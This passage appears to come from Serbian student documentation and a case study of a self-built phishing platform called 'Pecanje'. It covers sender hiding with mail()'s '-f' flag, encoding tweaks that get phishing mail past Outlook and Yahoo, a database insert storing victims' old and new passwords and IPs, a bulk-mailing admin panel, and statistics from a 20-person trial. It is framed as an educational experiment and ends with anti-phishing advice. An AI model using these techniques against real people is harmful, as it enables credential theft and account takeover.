  • 6. FISHING „PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace moz-border-radius: 5px; background:#5e7f79; padding:5px; border:1px solid #000; text-shadow: 1px 1px 1px #949494; font-weight:bold;"> </div> </div> </form> I naravno na kraju mail funkcija sa svim vrednostima koje smo pripremili : mail($to, $subject, $body, $headers, "-f$from"); Najčešći problem koji se javlja pri samom slanju mail-a ovakve vrste osim skrivanja identiteta koji se rešava jednim –f ispred varijable $from jeste i pravilna enkripcija na svim mail sistemima .Mail sistem Outlook kao i yahoo ima specifičnu vrstu enkripcije i možemo dobiti mail kao što je prikazano na slici iznad.
  • 7. FISHING „PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace Posle upoznavanja sa specifičnostima svakog sistema u $headers varijabli smo promenili standardni utf8 u iso-8859-1 i time dobili zadovoljavajući rezultat. Mail je uspešno stizao na odredište kao i više mail-ova. PDO MYSQL bibliotekom smo uspostavili vezu sa bazom, a pored toga iskoristili i funkciju file_put_contest za duplirani unos podataka u html fajl, kako bi lako mogli da pročitamo podatke koje smo uneli. SQL upit je izgledao otprilike ovako : INSERT INTO datas(username, pass, newpass, verpass,date_submit, IP_adress) VALUES (:username, :pass, :newpass, :verpass, :date_submit, :IP_adress) Gde se može videti da sam pored ostalih informacija preuzeo i zabeležio korisničku IP adresu na osnovu čega bih kasnije odredio broj unikatnih posetilaca sajta i izveo detaljnije statističke informacije. Nakon svega testirali smo projekat Pecanje po prvi put u školi glumeći napadače i žrtve i dobili odgovarajuće rezultate, to je bio potpuno funkcionalni prototip naše aplikacije. 3.Admin panel I MVC Posle svakog prototipa, koji predstavlja celokupnu zamisao i pokriva sve obaveze koje dati sistem ima da izvrši, potrebno je razraditi ideju vrlo pažljivo i organizovati podatke na taj način da se i posle mnogo linija koda programer snadje za eventualnu nadogradnju softvera ili možda ispravku i slično. Posle zadatka da se napravi još i admin panel, pristupio sam projektu ozbiljnije i uključio u plan nove funkcionalnosti koje treba da dodam u sistem a to su: 1.Login Sistem (Autentifikacija) 2..htaccess 3.Generisanje liste 4.Forme za slanje e-mail zahteva 5. Početna - statistika 6.i Odjavljivanje sa platforme Zato tražimo način na koji ćemo iskoristiti prednosti objektnog orijentisanog programiranja i napraviti od svih tih klasa, referenci, nasledjivanja jednu skladnu celinu. Pre nego što počenmo sa MVC-om moramo reći našem serveru na kome radimo da nam prepiše url i da podesimo da kroz url ne pristupamo direktno fajlu kroz ime i ekstenziju već kroz url pristupamo klasi i u
  • 8. FISHING „PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace njenoj __construct metodi toj funkciji ili u PHP-u ako je ime funkcije ista kao i ime klase ta funkcija se automatski izvršava i bez pozivanja reference te funkcije posebno. Ovako izgleda moj .htaccess fajl za projekat pecanje: RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-l RewriteRule ^(.+)$ index.php?url=$1 [QSA,L] Naveli smo samo neke od objekata koje se moraju isprogramirati. Pošto sama veličina aplikacije nije komplikovana, zato nisam imao potrebu za korišćenjem nekih framework-a poput CodeIgniter-a ili Symfony i slično. Napisao sam zbog potpune jasnoće i mogućnosti objašnjenja najprostiji mogući sopstveni MVC frejmvork. MVC jeste model koji svrstava sve fajlove našeg PHP projekta otprilike u direktorijume : Model, View i Controller i još neke pomoćne direktorijume... U model-u čuvamo komplikovane PHP funkcije koje komuniciraju sa bazom. Controller nam omogućava pozivanje funkcija kao npr generisanje model-a i view-a za svaki url tj app.com/url posebno, tako da nam se za npr Example.com/index Poziva ista ta funkcija sa tim imenom u controller-u index.php a controller poziva funkciju iz view-a koja generiše fajl: index.php u folderu view/index folderu... Za example.com/dashboard
  • 9. FISHING „PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace Generiše dashboard stil u view/dashboard/index.php, i tako redom... Na datoj slici vidimo sublime editor i levu traku u kojoj je struktura našeg projekta Config – U folderu config čuvamo konfiguracione fajlove kao što su domen servera, ime baze, lozinka, ime korisnika... Controllers – Svaka stranica mora imati svoj controller fajl koji će pozivajući se da generiše potrebne funkcije svaki Controller počinje sa class ImeKontrolera()... Libs – libs folder sadrži biblioteke od kojih je najavžnija npr bootstrap(gnezdo programa, tu je ceo kod koji pozivamo u index, regulišemo url-ove, podešavamo loader-e model-a, posebnih klasa i referenci itd.), Models – u models folderu čuvamo login_model, dashboard_model ... U njima se u različitim funkcijama definišu kodovi i upiti koji komuniciraju sa bazom.Kreiraju, brišu, edituju zapise... Public – Sav css i javascript kod stavljamo u public folder, takodje i sav materijal koji ima veze sa stilom stranice. U public folderu se nalaze obično tri podfoldera a to su:
  • 10. FISHING „PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace -CSS -JS -Images -Views u ovom folderu se čuvaju fajlovi koji u sebi sadrže html svih stranica koje load-ujemo tako da stil , generisanje koda iz funkcija zbog pregleda programiramo fajlove unutar ovog foldera. Admin panel Da bi razdvojili interfejs posetioca i interfejs administratora, kreiraćemo poseban folder, administrator u kome ćemo iskodirati celu okruženje za administratora. U folderu kreiramo prvo htaccess fajl, i integrišemo naš mvc model . Da bi korisnici uopšte mogli da se loguju pravimo index stranicu za njih sa formom koja cilja na neki model, u ovom slučaju login_model i funkciju u njemu npr funkcija enter. Podatke iz forme prosledimo u SQL upit i uporedimo ih u npr tabeli users da li postoji ukoliko ne postoje korisnici se vraćaju na istu ili sličnu stranicu sa tekstualnom porukom o grešci. Ukoliko identični podaci postoje korisnik se loguje i započinje svoju sesiju. Funkcijom session_start počinje gostovanje korisnika na stranici npr dashboard i njegovo gostavanje ne prestaje sve dok se ne pokrene funkcija session_destroy koja uništava
  • 11. FISHING „PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace sesiju i vraća korisnika na login stranicu. Na svakoj zaštićenoj stranici, dakle, koja je namenjena korisniku nalazi se provera. Varijabla dobija informacije da li sesija postoji i nakon provere korisnik ostaje na stranici ili se riderektuje napolje van zaštićene mreže. Dalje nastavljamo po istom šablonu mvc da pišemo funkcije koje su nam potrebne za rad sistema, a to su: Početna Generiše Statistiku Lista Generiše listu korisničkih podataka Pošta Generiše polje koja sadrži vrednost koliko zahteva želimo poslati, posle procedurisanja forme generiše se toliki broj polja koliko smo uneli, i vrednost tih polja je uneta u $to varijablu PHP mail funkcije koja se pokreće sa MAIL servera. Odjava – Uništavanje sesije i riderekt na administrator početnu stranicu. 4.Statistika Postoje mnogi dizajni grafikona na internetu koje možete besplatno koristiti u vašem projektu uz naravno nešto umeća iz SQL-a kao i znanja da javascript kod iz tih grafikona generišete pomoću PHP-a sa ubačenim podacima iz odredjene baze, tabele i slično. Ja sam iskoristio javascript biblioteku highcharts.com, koja sadrži velik broj različitih vrsta grafikona, pita, barova, tabela i slično. Iako su vrlo osetljive na promene, tako da na primer, kada pogrešite u generisanju koda, jednostavno nestane ceo grafikon,sve dok sami ne nadjete grešku u kodu, dok kodirate u PHP-u imate izveštaje koje vas upućuju na grešku pa čak i kako da je otklonite.
  • 12. FISHING „PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace Na ovoj slici je prikazana početna stranica našeg završnog Pecanje projekta koja u prvom bar-chart-u prikazuje koliko jedinstvenih IP adresa se ukupno „upecalo“ za svaki dan posebno. Dok drugi bar pokazuje koliko puta su ti jedinstveni korisnici pokušali da se uloguju misleći da njihovi podaci nisu tačni, ovo je dobar pokazatelj za napadače jer više puta poklopljenih starih šifri čini taj podatak realnijim, tako da je napadač siguran da ima pravu šifru u bazi koju može iskoristiti. Što je prikazano i tabelarno odmah ispod bar-chart-a. U drugom segmentu desno prikazan je procenat upecanih korisnika od uzorka broja email-a koji smo poslali. Ukupno je poslato 20 email zahteva, 12 zahteva je potvrdjeno što čini 60 procenta potvrdjenih phishing zahteva. Na poslednjom pie-chart slici možemo videti da je najviše upecanih bilo prvog dana, i da je svakim sledećim danom padao broj upecanih osoba, što je uobičajeno za dobro odradjen internet napad. 5.Analiza slučaja Obzirom da je u prva dva dana nakon slanja zahteva, odaziv bio 50%, možemo li da izvedemo statističku pretpostavku koliko od 20 učesnika otvori e-mail u razmaku od tri dana? Koliko god taj odziv bio, ne može biti ni u kom slučaju 100%... Napomenimo da neki od korisnika uopšte i ne koriste email adrese. Studija ovog slučaja takodje je pokazala da prvog dana 4 jedinstvena korisnika su pokušala ukupno 19 puta da unesu svoje podatke tako da je napadač poklapanjem unetih podataka sve više sigurniji u njihovu autentičnost. Uzeći u obzir celokupnu dosadašnju statistiku 12 korisnika su ukupnoimala 51 pokušaj unosa informacija, što je 6,375 puta po korisniku. Ovo je mali eksperiment je pokazao koliko su i sami informatičari obazrivi na predaju informacija, a kod običnog surfera danas rezultati uspešnosti phishing-a su još veći. Ovaj napad će još dugo godina biti aktuelan i produktivan. Najbolje dokaze za to možemo videti na osnovu iskustva twitter-a kada su prikupljeni podaci više od sto hiljada korisnika. Takodje to se vrlo često dešava i na google mail-ovima, gde je to najčešći vid preuzimanja naloga. Na google mail-u postoji opcija prijavi kao phishing, koji je dosad jedini vid odbrane (stavljanjem tog hosta na neku vrstu „crne liste google-a“, naravno, ukoliko je vaša prijava opravdana). Jedini savet za one koje redovno proveravaju mail jeste da nikada ne menjaju podatke direktno iz email poruke i da dobro provere url sajta gde ih vodi link, da li je (u vezi propusta twitter) u pitanju twitter.com ili twitteri|.com .